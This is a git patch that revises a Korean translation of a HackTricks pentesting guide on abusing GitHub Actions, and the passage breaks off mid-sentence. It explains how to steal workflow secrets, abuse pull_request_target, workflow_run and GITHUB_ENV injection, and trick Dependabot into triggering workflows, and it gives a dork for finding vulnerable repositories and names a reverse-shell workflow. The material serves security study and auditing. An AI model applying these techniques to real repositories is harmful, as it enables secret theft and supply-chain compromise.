From f70096de4b3f41616cf7023375cd3de2695c509a Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 29 Sep 2025 23:27:38 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-basic-information/az --- .../abusing-github-actions/README.md | 244 ++++++++++-------- .../az-federation-abuse.md | 228 ++++++++++++++++ 2 files changed, 362 insertions(+), 110 deletions(-) create mode 100644 src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md index 1817c8670..6413062f1 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md @@ -1,58 +1,58 @@ -# Github Actions 악용 +# Abusing Github Actions {{#include ../../../banners/hacktricks-training.md}} ## 도구 -다음 도구들은 Github Action workflows를 찾고 취약한 워크플로우까지 찾아내는 데 유용합니다: +다음 도구들은 Github Action 워크플로우를 찾고 취약한 워크플로우를 발견하는 데 유용합니다: - [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven) - [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato) - [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X) - [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda) -- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Check also its checklist in [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits) +- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - 체크리스트는 [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)도 확인하세요 ## 기본 정보 이 페이지에서는 다음을 다룹니다: -- 공격자가 Github Action에 접근했을 때 발생할 수 있는 **모든 영향의 요약** -- 액션에 **접근 권한을 얻는 다양한 방법**: -- 액션을 생성할 수 있는 **권한** 보유 +- 공격자가 Github Action에 접근하는 데 성공했을 때의 **모든 영향 요약** +- 액션에 **액세스하는 다양한 방법**: +- 액션을 생성할 **권한(permissions)** 보유 - **pull request** 관련 트리거 악용 -- 기타 **외부 접근** 기법 악용 -- 이미 침해된 repo에서 **Pivoting** -- 마지막으로, 내부에서 액션을 악용하기 위한 **post-exploitation** 기법에 관한 섹션(앞서 언급된 영향 유발) +- **기타 외부 접근** 기법 악용 +- 이미 손상된 repo에서의 **피벗** +- 마지막으로, 내부에서 액션을 악용하기 위한 **사후 탐지·악용 기법(post-exploitation techniques)** 섹션 ## 영향 요약 -For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions). +[**Github Actions 기본 정보 확인**](../basic-github-information.md#github-actions)에서 도입부를 참고하세요. -레포지토리 내에서 **GitHub Actions**에서 임의의 코드를 실행할 수 있다면, 다음을 수행할 수 있습니다: +저장소 내에서 **GitHub Actions에서 임의의 코드 실행**이 가능하다면 다음을 할 수 있습니다: -- 파이프라인에 마운트된 **secrets**를 탈취하고 파이프라인의 권한을 남용해 AWS, GCP 등의 외부 플랫폼에 무단 접근할 수 있습니다. -- 배포(deployments) 및 기타 아티팩트(artifacts)를 손상시킬 수 있습니다. -- 파이프라인이 자산을 배포하거나 저장하는 경우 최종 제품을 변경하여 공급망 공격을 유발할 수 있습니다. -- 커스텀 워커(custom workers)에서 코드를 실행하여 컴퓨팅 자원을 악용하고 다른 시스템으로 pivot할 수 있습니다. -- `GITHUB_TOKEN`에 연결된 권한에 따라 레포지토리 코드를 덮어쓸 수 있습니다. +- 파이프라인에 마운트된 **secrets를 훔치고**, 파이프라인 권한을 악용해 AWS 및 GCP 같은 외부 플랫폼에 무단 접근할 수 있습니다. +- 배포와 기타 **artifacts**를 손상시킬 수 있습니다. +- 파이프라인이 자산을 배포하거나 저장하는 경우, 최종 제품을 변경하여 supply chain attack을 유발할 수 있습니다. +- 커스텀 워커에서 코드를 실행해 컴퓨팅 자원을 악용하고 다른 시스템으로 pivot할 수 있습니다. +- `GITHUB_TOKEN`에 연관된 권한에 따라 저장소 코드를 덮어쓸 수 있습니다. ## GITHUB_TOKEN -이 "**secret**"( `${{ secrets.GITHUB_TOKEN }}` 및 `${{ github.token }}`에서 나오는)는 관리자가 이 옵션을 활성화했을 때 부여됩니다: +이 "**secret**" ( `${{ secrets.GITHUB_TOKEN }}` 및 `${{ github.token }}`에서 제공되는)은 관리자가 이 옵션을 활성화했을 때 주어집니다:
-이 토큰은 **Github Application**이 사용하는 것과 동일하므로 동일한 엔드포인트에 접근할 수 있습니다: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) +이 토큰은 **Github Application이 사용할 것과 동일한 토큰**이므로 동일한 엔드포인트에 접근할 수 있습니다: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) > [!WARNING] -> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`. +> Github는 [**flow**](https://github.com/github/roadmap/issues/74)를 출시하여 GitHub 내에서 **cross-repository** 접근을 허용함으로써, 한 repo가 `GITHUB_TOKEN`을 사용해 다른 내부 repo에 접근할 수 있도록 할 예정입니다. -가능한 이 토큰의 **권한**은 다음에서 확인할 수 있습니다: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) +이 토큰의 가능한 **permissions**는 다음에서 확인할 수 있습니다: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) -토큰은 **작업이 완료된 후 만료**됩니다.\ -이런 토큰은 다음과 같은 형태입니다: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` +참고: 이 토큰은 **작업이 완료된 후 만료됩니다**.\ +이러한 토큰은 다음과 같은 형태를 가집니다: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` -이 토큰으로 할 수 있는 흥미로운 것들: +이 토큰으로 할 수 있는 흥미로운 몇 가지 작업: {{#tabs }} {{#tab name="Merge PR" }} @@ -91,11 +91,11 @@ https://api.github.com/repos///pulls \ {{#endtabs }} > [!CAUTION] -> 여러 경우에 **github user tokens inside Github Actions envs or in the secrets**를 발견할 수 있다는 점에 유의하세요. 이 토큰들은 리포지토리와 조직에 대한 더 많은 권한을 부여할 수 있습니다. +> 몇몇 경우 **github user tokens inside Github Actions envs or in the secrets**을 발견할 수 있습니다. 이 토큰들은 리포지토리 및 조직에 대해 더 많은 권한을 부여할 수 있습니다.
-Github Action 출력에서 secrets 나열 +Github Action output에서 secrets 나열 ```yaml name: list_env on: @@ -121,7 +121,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
-secrets를 이용해 reverse shell 얻기 +secrets를 사용하여 reverse shell 얻기 ```yaml name: revshell on: @@ -144,29 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
-다른 사용자의 리포지토리에서 Github Token에 부여된 권한은 **Github Actions의 로그를 확인**해서 알 수 있습니다: +다른 사용자 저장소에서 Github Token에 부여된 권한을 Github Actions의 로그를 **확인하여** 확인할 수 있습니다:
## 허용된 실행 > [!NOTE] -> 이 방법은 Github actions를 탈취하기 위한 가장 쉬운 방법입니다. 이 경우 조직에 **새 리포지토리를 생성할 수 있는 권한(create a new repo in the organization)** 이 있거나 리포지토리에 대한 **쓰기 권한(write privileges over a repository)** 이 있다고 가정합니다. +> 이것은 Github Actions를 탈취하기 위한 가장 쉬운 방법일 것입니다. 이 경우 **조직에 새 저장소를 생성할 수 있는 권한**, 또는 **저장소에 대한 쓰기 권한**이 있다고 가정합니다. > -> 이런 상황이라면 [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action)를 확인하세요. +> 이 시나리오에 해당한다면 [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action)를 확인하면 됩니다. -### 리포지토리 생성에서의 실행 +### 저장소 생성에서의 실행 -조직 구성원이 **새 리포지토리를 생성할 수 있고** 당신이 Github actions를 실행할 수 있다면, 새 리포지토리를 만들어 조직 수준에 설정된 **secrets**를 탈취할 수 있습니다. +조직 구성원이 **create new repos** 수 있고 당신이 Github Actions를 실행할 수 있다면, **create a new repo and steal the secrets set at organization level** 할 수 있습니다. ### 새 브랜치에서의 실행 -이미 Github Action이 구성된 리포지토리에서 **새 브랜치를 생성할 수 있다면**, 해당 Action을 **수정**하고, 콘텐츠를 **업로드**한 뒤 새 브랜치에서 그 액션을 **실행**할 수 있습니다. 이렇게 하면 리포지토리 및 조직 수준의 **secrets**를 **exfiltrate**할 수 있습니다(단, 이름을 알고 있어야 합니다). +이미 Github Action이 구성된 저장소에서 **create a new branch in a repository that already contains a Github Action** 수 있다면, 이를 **modify** 하고, 콘텐츠를 **upload** 한 다음 **execute that action from the new branch** 할 수 있습니다. 이렇게 하면 **exfiltrate repository and organization level secrets** (하지만 그들이 어떻게 불리는지 알아야 합니다). > [!WARNING] -> workflow YAML 내부에만 구현된 제한(예: `on: push: branches: [main]`, job conditionals, 또는 수동 게이트)은 협력자가 편집할 수 있습니다. 외부에서 강제하지 않으면(branch protections, protected environments, and protected tags), 기여자는 워크플로를 자신의 브랜치에서 실행되도록 재지정하고 마운트된 secrets/permissions를 악용할 수 있습니다. +> workflow YAML 내부에만 구현된 제한사항(예: `on: push: branches: [main]`, job conditionals, 또는 수동 게이트)은 협업자가 편집할 수 있습니다. 외부의 강제(브랜치 보호, 보호된 환경, 보호된 태그)가 없다면, 기여자는 워크플로우의 실행 대상을 자신의 브랜치로 변경하여 마운트된 시크릿/권한을 악용할 수 있습니다. -수정된 액션을 **수동으로** 실행 가능하게 하거나, **PR이 생성될 때** 또는 **코드가 푸시될 때**(얼마나 눈에 띄게 할지에 따라) 실행하게 만들 수 있습니다: +수정된 action을 **수동으로**, **PR이 생성될 때** 또는 **코드가 푸시될 때** 실행되도록 만들 수 있습니다(얼마나 눈에 띄게 할지는 선택에 따라 다름): ```yaml on: workflow_dispatch: # Launch manually @@ -183,46 +183,46 @@ branches: ## 포크된 실행 > [!NOTE] -> 공격자가 다른 저장소의 **Github Action을 실행할 수 있게 하는** 다양한 트리거가 존재합니다. 이러한 트리거 가능한 액션이 잘못 구성되어 있으면 공격자가 이를 악용할 수 있습니다. +> 공격자가 다른 repository의 **Github Action을 실행**할 수 있게 하는 다양한 트리거가 있습니다. 이러한 트리거가 잘못 구성되어 있으면 공격자가 이를 악용할 수 있습니다. ### `pull_request` -워크플로 트리거 **`pull_request`**는 풀 리퀘스트가 수신될 때마다 워크플로를 실행합니다. 다만 몇 가지 예외가 있습니다: 기본적으로 **처음으로** **기여하는 경우**, 일부 **메인테이너**가 워크플로의 **실행**을 **승인**해야 합니다: +워크플로 트리거 **`pull_request`**는 일부 예외를 제외하고 풀 리퀘스트가 들어올 때마다 워크플로를 실행합니다: 기본적으로 **처음으로** 협업하는 경우에는 일부 **maintainer**가 워크플로의 **실행(run)** 을 **승인(approve)** 해야 합니다:
> [!NOTE] -> 기본 제한이 **첫 기여자**에 해당하므로, 유효한 버그/오타를 **수정하는 PR을 제출한 뒤** 새로 얻은 **`pull_request` 권한을 악용하기 위해 다른 PR을 보낼 수 있습니다**. +> 기본 제한이 **첫 기여자(first-time contributors)** 에 적용되므로, 유효한 버그/오타 수정으로 기여한 뒤 새로 얻은 `pull_request` 권한을 악용하기 위해 **다른 PR들을 보낼 수 있습니다**. > -> **이것을 테스트해보았지만 작동하지 않았습니다**: ~~프로젝트에 기여했던 사람의 이름으로 계정을 생성한 뒤 그 계정을 삭제한 것처럼 보이게 하는 옵션이 있었습니다.~~ +> **저는 이걸 테스트했지만 작동하지 않았습니다**: ~~다른 옵션으로 프로젝트에 기여했던 사람의 이름으로 계정을 만들고 그 사람의 계정을 삭제하는 방법이 있습니다.~~ -또한, 기본적으로 대상 저장소에 대한 **쓰기 권한 부여를 차단**하고 **시크릿 접근을 차단**합니다. 자세한 내용은 [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories)에서 확인할 수 있습니다: +또한 기본적으로 대상 repository에 대한 **write permissions** 및 **secrets 접근**을 **차단**한다고 [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories)에서 언급하고 있습니다: > With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**. -공격자는 Github Action의 정의를 수정해 임의의 작업을 실행하거나 임의의 액션을 추가할 수 있습니다. 다만 앞서 언급한 제한 때문에 시크릿을 훔치거나 저장소를 덮어쓸 수는 없습니다. +공격자는 Github Action의 정의를 수정해 임의의 명령을 실행하거나 임의의 액션을 추가할 수 있습니다. 다만 앞서 언급한 제한 때문에 secrets를 훔치거나 repo를 덮어쓸 수는 없습니다. > [!CAUTION] -> **예 — 공격자가 PR에서 트리거될 github action을 변경하면, origin repo의 것이 아니라 그의 Github Action이 사용됩니다!** +> **네, 공격자가 PR에서 트리거될 github action을 변경하면, 사용되는 것은 원본 repo의 것이 아니라 공격자가 추가한 Github Action입니다!** -공격자가 실행되는 코드를 제어하므로, `GITHUB_TOKEN`에 시크릿이나 쓰기 권한이 없어도 공격자는 예를 들어 **upload malicious artifacts**할 수 있습니다. +공격자가 실행되는 코드를 제어하므로, `GITHUB_TOKEN`에 secrets나 쓰기 권한이 없더라도 예를 들어 **악성 아티팩트 업로드(upload malicious artifacts)** 같은 동작을 할 수 있습니다. ### **`pull_request_target`** -워크플로 트리거 **`pull_request_target`**는 대상 저장소에 대한 **쓰기 권한**과 **시크릿 접근**을 가지며(별도 승인 없이) 동작합니다. +워크플로 트리거 **`pull_request_target`**는 대상 repository에 대한 **write permission**과 **secrets 접근** 권한을 가지며 (권한을 요청하지 않습니다). -참고로 워크플로 트리거 **`pull_request_target`**는 **기본 컨텍스트에서 실행**되며 PR이 제공하는 컨텍스트에서 실행되지 않습니다(신뢰할 수 없는 코드를 실행하지 않기 위해). `pull_request_target`에 대한 자세한 내용은 [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target)를 확인하세요.\ -또한 이 특정 위험한 사용에 관한 자세한 내용은 [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)를 참고하세요. +워크플로 트리거 **`pull_request_target`**는 PR에서 제공되는 컨텍스트가 아니라 **base 컨텍스트**에서 **실행(run in the base context)** 된다는 점에 유의하세요 (신뢰되지 않는 코드를 실행하지 않기 위해). `pull_request_target`에 대한 자세한 내용은 [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target)에서 확인하세요.\ +또한 이 특정 위험한 사용 사례에 대해서는 [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)를 참고하세요. -실행되는 워크플로가 **base에 정의된 것**이고 **PR의 것이 아닌** 것이기 때문에 **`pull_request_target`**을 사용하는 것이 **안전해 보일 수 있지만**, 그렇지 않은 경우가 **몇 가지 있습니다**. +실행되는 워크플로가 **base에 정의된 것**이고 **PR의 것이 아닌** 것처럼 보여 `pull_request_target`를 사용하는 것이 안전해 보일 수 있지만, 안전하지 않은 몇 가지 경우가 있습니다. -그리고 이 트리거는 **시크릿에 접근**할 수 있습니다. +이 경우는 **secrets에 접근할 수 있습니다**. ### `workflow_run` -[**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) 트리거는 다른 워크플로가 `completed`, `requested` 또는 `in_progress` 상태일 때 워크플로를 실행할 수 있게 합니다. +[**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) 트리거는 다른 워크플로가 `completed`, `requested` 또는 `in_progress`일 때 워크플로를 실행하도록 허용합니다. -이 예시에서는, 별도의 "Run Tests" 워크플로가 완료된 후에 실행되도록 워크플로가 구성되어 있습니다: +이 예에서는 별도의 "Run Tests" 워크플로가 완료된 후에 실행되도록 워크플로가 구성되어 있습니다: ```yaml on: workflow_run: @@ -230,29 +230,39 @@ workflows: [Run Tests] types: - completed ``` -또한 문서에 따르면: `workflow_run` 이벤트로 시작된 워크플로우는 이전 워크플로우가 그렇지 않았더라도 **secrets와 write tokens에 접근하고 쓸 수 있다**. +Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**. +또한 문서에 따르면: `workflow_run` 이벤트로 시작된 workflow는 **이전 workflow가 그렇지 않더라도 secrets에 접근하고 토큰을 쓸 수 있습니다.** -이러한 유형의 워크플로우는 외부 사용자가 **`pull_request`** 또는 **`pull_request_target`**을 통해 **trigger**할 수 있는 **workflow**에 **의존**하는 경우 공격받을 수 있다. 취약한 예제 몇 가지는 [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** 첫 번째는 `workflow_run`로 트리거된 워크플로우가 공격자의 코드를 다운로드하는 방식이다: `${{ github.event.pull_request.head.sha }}`\ -두 번째는 **untrusted** 코드에서 생성된 **artifact**를 **`workflow_run`** 워크플로우로 **전달**하고, 그 artifact의 내용을 RCE에 취약하게 사용하는 경우이다. +This kind of workflow could be attacked if it's **depending** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`\ +이러한 종류의 workflow는 외부 사용자가 **`pull_request`** 또는 **`pull_request_target`**을 통해 트리거할 수 있는 **workflow**에 **의존**할 경우 공격당할 수 있습니다. 몇 가지 취약한 예시는 [**이 블로그에서 찾을 수 있습니다**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability). 첫 번째 예는 **`workflow_run`**으로 트리거된 workflow가 공격자의 코드를 다운로드하는 경우입니다: `${{ github.event.pull_request.head.sha }}`\ +The second one consist on **passing** an **artifact** from the **untrusted** code to the **`workflow_run`** workflow and using the content of this artifact in a way that makes it **vulnerable to RCE**. +두 번째 예는 **신뢰할 수 없는** 코드에서 **artifact**를 **`workflow_run`** workflow로 전달하고, 그 artifact의 내용을 RCE에 취약한 방식으로 사용하는 경우입니다. ### `workflow_call` TODO -TODO: pull_request에서 실행될 때 사용/다운로드되는 코드가 원본(origin)의 것인지 포크된 PR의 것인지 확인 +TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR +TODO: pull_request에서 실행될 때 사용/다운로드되는 코드가 원본(repo)에서 온 것인지 포크된 PR의 것인지 확인 -## 포크된 실행 악용 +## Abusing Forked Execution +## 포크된 실행 남용 -외부 공격자가 github 워크플로우를 실행시키는 모든 방법을 언급했다. 이제 이러한 실행들이 잘못 구성되었을 때 어떻게 악용될 수 있는지 살펴보자: +We have mentioned all the ways an external attacker could manage to make a github workflow to execute, now let's take a look about how this executions, if bad configured, could be abused: +외부 공격자가 github workflow를 실행시키는 모든 방법을 언급했습니다. 이제 이러한 실행들이 잘못 구성되었을 때 어떻게 남용될 수 있는지 살펴보겠습니다. -### 신뢰되지 않은 checkout 실행 +### Untrusted checkout execution +### 신뢰할 수 없는 checkout 실행 -`pull_request`의 경우, 워크플로우는 **PR의 컨텍스트**에서 실행되므로 (**악성 PR의 코드가 실행된다**), 하지만 누군가 먼저 **승인해야 하며** [limitations](#pull_request)가 적용된 상태로 실행된다. +In the case of **`pull_request`,** the workflow is going to be executed in the **context of the PR** (so it'll execute the **malicious PRs code**), but someone needs to **authorize it first** and it will run with some [limitations](#pull_request). +**`pull_request`**의 경우 workflow는 **PR의 컨텍스트**에서 실행되므로 (**악성 PR의 코드가 실행됩니다**). 다만 누군가 **먼저 승인해야** 하며 일부 [제한사항](#pull_request)과 함께 실행됩니다. -`pull_request_target` 또는 `workflow_run`을 사용하는 워크플로우가 `pull_request_target` 또는 `pull_request`로 트리거될 수 있는 워크플로우에 의존하는 경우 원본 리포지토의 코드가 실행되므로 **공격자는 실행되는 코드를 제어할 수 없다**. +In case of a workflow using **`pull_request_target` or `workflow_run`** that depends on a workflow that can be triggered from **`pull_request_target` or `pull_request`** the code from the original repo will be executed, so the **attacker cannot control the executed code**. +**`pull_request_target`** 또는 **`workflow_run`**을 사용하고, 그 workflow가 **`pull_request_target`** 또는 **`pull_request`**로 트리거될 수 있는 다른 workflow에 의존하는 경우 원본 리포지토의 코드가 실행되므로 **공격자가 실행 코드를 제어할 수 없습니다**. > [!CAUTION] -> 그러나 **action**이 **명시적인 PR checkout**을 가지고 있어 PR로부터 코드를 **가져오는 경우**(base가 아니라), 공격자가 제어하는 코드를 사용하게 된다. 예를 들어 (PR 코드를 다운로드하는 12번째 줄을 확인): +> However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded): +> 하지만 **action**이 명시적으로 PR에서 checkout하도록 설정되어 있어 **PR의 코드를 가져오는 경우**(base가 아닌), 공격자가 제어하는 코드가 사용됩니다. 예를 들어 (PR 코드가 다운로드되는 12번째 줄을 확인하세요):
# INSECURE. Provided as an example only.
 on:
@@ -282,32 +292,42 @@ message: |
 Thank you!
 
-빌드 스크립트와 참조된 **packages는 PR 작성자가 제어**하기 때문에, 잠재적으로 **untrusted code가 `npm install` 또는 `npm build` 중에 실행된다**. +The potentially **untrusted code is being run during `npm install` or `npm build`** as the build scripts and referenced **packages are controlled by the author of the PR**. +빌드 스크립트와 참조된 **packages**는 PR 작성자가 제어하므로, 잠재적으로 **신뢰할 수 없는 코드가 `npm install` 또는 `npm build` 중에 실행될 수 있습니다**. > [!WARNING] -> 취약한 action을 찾기 위한 github dork는: `event.pull_request pull_request_target extension:yml` 이다. 그러나 action이 안전하지 않게 구성되어 있어도 jobs를 안전하게 구성하는 다양한 방법(예: PR을 생성하는 actor에 대한 조건문 사용)이 있다. +> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR). +> 경고: 취약한 action을 검색하기 위한 github dork는 `event.pull_request pull_request_target extension:yml` 입니다. 그러나 action이 안전하지 않게 구성되어 있더라도 작업을 안전하게 구성하는 다양한 방법이 있습니다(예: PR을 생성한 actor가 누구인지에 대한 조건문 사용). -### 컨텍스트 스크립트 인젝션 +### Context Script Injections +### Context Script Injections -일부 [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context)의 값은 PR을 생성하는 **사용자**에 의해 제어된다는 점에 유의하라. 만약 github action이 그 **데이터를 사용해 어떤 작업을 실행한다면**, 이는 **임의 코드 실행**로 이어질 수 있다: +Note that there are certain [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) whose values are **controlled** by the **user** creating the PR. If the github action is using that **data to execute anything**, it could lead to **arbitrary code execution:** +PR을 만드는 **사용자**가 값들을 **제어하는** 특정 [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context)가 있다는 점에 유의하세요. 만약 github action이 그 **데이터를 사용해 어떤 작업이라도 실행한다면**, 임의 코드 실행으로 이어질 수 있습니다: {{#ref}} gh-actions-context-script-injections.md {{#endref}} +### **GITHUB_ENV Script Injection** ### **GITHUB_ENV Script Injection** -문서에 따르면: 워크플로우 잡에서 환경 변수를 정의하거나 업데이트하고 이를 **`GITHUB_ENV`** 환경 파일에 기록하면 **이후 단계들에서 해당 환경 변수를 사용할 수 있게 된다**. +From the docs: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file. +문서에 따르면: 환경 변수를 정의하거나 업데이트하고 이를 **`GITHUB_ENV`** 환경 파일에 기록하면 해당 workflow job의 이후 단계에서 **환경 변수를 사용할 수 있게** 됩니다. -공격자가 이 **env** 변수에 **어떤 값이라도 주입할 수 있다면**, LD_PRELOAD나 NODE_OPTIONS 같은 이후 단계에서 코드를 실행할 수 있는 환경 변수를 주입할 수 있다. +If an attacker could **inject any value** inside this **env** variable, he could inject env variables that could execute code in following steps such as **LD_PRELOAD** or **NODE_OPTIONS**. +공격자가 이 **env** 변수에 **임의의 값을 주입**할 수 있다면, 이후 단계에서 코드 실행을 유발할 수 있는 **LD_PRELOAD**나 **NODE_OPTIONS** 같은 환경 변수를 주입할 수 있습니다. -예를 들어 ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), 업로드된 artifact를 신뢰하여 그 내용을 **`GITHUB_ENV`** env 변수에 저장하는 워크플로우를 상상해보자. 공격자는 이를 악용하기 위해 다음과 같은 것을 업로드할 수 있다: +For example ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine a workflow that is trusting an uploaded artifact to store its content inside **`GITHUB_ENV`** env variable. An attacker could upload something like this to compromise it: +예를 들어 ([**이것**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) 및 [**이것**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), 업로드된 artifact의 내용을 **`GITHUB_ENV`** 환경 변수에 저장하는 것을 신뢰하는 workflow를 상상해보세요. 공격자는 이를 손상시키기 위해 다음과 같은 내용을 업로드할 수 있습니다:
+### Dependabot and other trusted bots ### Dependabot 및 기타 신뢰된 봇 As indicated in [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), several organizations have a Github Action that merges any PRR from `dependabot[bot]` like in: +[**이 블로그 게시물**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest)에 따르면, 여러 조직이 `dependabot[bot]`의 모든 PR을 병합하는 Github Action을 가지고 있습니다. 예: ```yaml on: pull_request_target jobs: @@ -319,12 +339,12 @@ steps: ``` Which is a problem because the `github.actor` field contains the user who caused the latest event that triggered the workflow. And There are several ways to make the `dependabot[bot]` user to modify a PR. For example: -- 피해자 리포지토리를 Fork한다 -- 자신의 복사본에 악성 페이로드를 추가한다 -- 포크에서 Dependabot을 활성화하고 오래된 dependency를 추가한다. Dependabot은 의존성을 수정하는 브랜치를 생성하는데, 그 브랜치에 악성 코드가 들어있다. -- 해당 브랜치에서 피해자 리포지토리로 Pull Request를 연다(이 PR은 사용자가 생성하므로 아직 아무 일도 일어나지 않는다) -- 그런 다음, 공격자는 포크에서 Dependabot이 열었던 초기 PR로 돌아가서 `@dependabot recreate`를 실행한다 -- 그러면 Dependabot은 해당 브랜치에서 몇 가지 동작을 수행하여 피해자 리포지토리의 PR을 수정하고, 이로 인해 최신 이벤트를 발생시킨 actor가 `dependabot[bot]`이 되어 워크플로가 실행된다. +- Fork the victim repository +- Add the malicious payload to your copy +- Enable Dependabot on your fork adding an outdated dependency. Dependabot will create a branch fixing the dependency with malicious code. +- Open a Pull Request to the victim repository from that branch (the PR will be created by the user so nothing will happen yet) +- Then, attacker goes back to the initial PR Dependabot opened in his fork and runs `@dependabot recreate` +- Then, Dependabot perform some actions in that branch, that modified the PR over the victim repo, which makes `dependabot[bot]` the actor of the latest event that triggered the workflow (and therefore, the workflow runs). Moving on, what if instead of merging the Github Action would have a command injection like in: ```yaml @@ -338,20 +358,20 @@ steps: ``` Well, the original blogpost proposes two options to abuse this behavior being the second one: -- 피해자 repository를 fork하고 오래된 dependency로 Dependabot을 활성화한다. -- 악성 shell injection 코드를 담은 새 branch를 만든다. -- repo의 default branch를 그 브랜치로 변경한다. -- 이 branch로부터 피해자 repository에 PR을 생성한다. -- 그의 fork에서 Dependabot이 연 PR에서 `@dependabot merge`를 실행한다. -- Dependabot은 그의 변경사항을 포크한 리포지토리의 default branch에 merge하여 피해자 리포지토리의 PR을 업데이트한다. 결과적으로 최신 이벤트를 트리거한 actor가 `dependabot[bot]`이 되며, 악성 branch 이름이 사용된다. +- 피해자 repository를 fork하고, 오래된 dependency로 Dependabot을 활성화한다. +- 악성 shell injeciton 코드를 포함한 새 브랜치를 만든다. +- repo의 default branch를 해당 브랜치로 변경한다. +- 이 브랜치로 피해자 repository에 PR을 만든다. +- 피해자의 포크에서 Dependabot이 연 PR에 `@dependabot merge`를 실행한다. +- Dependabot는 포크된 저장소의 default branch에 변경사항을 병합하며, 피해자 repository의 PR을 업데이트하고 이제 워크플로우를 트리거한 최신 이벤트의 actor가 `dependabot[bot]`이 되며 악성 브랜치 이름을 사용하게 된다. -### 취약한 서드파티 Github Actions +### Vulnerable Third Party Github Actions #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact) -As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), this Github Action allows to access artifacts from different workflows and even repositories. +As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), 이 Github Action은 서로 다른 workflows 및 심지어 다른 repositories의 artifacts에 접근할 수 있게 한다. -문제는 **`path`** 파라미터가 설정되어 있지 않으면 artifact가 현재 디렉터리에 추출되어 이후 workflow에서 사용되거나 실행될 수 있는 파일들을 덮어쓸 수 있다는 점이다. 따라서 Artifact가 취약하면, 공격자는 이를 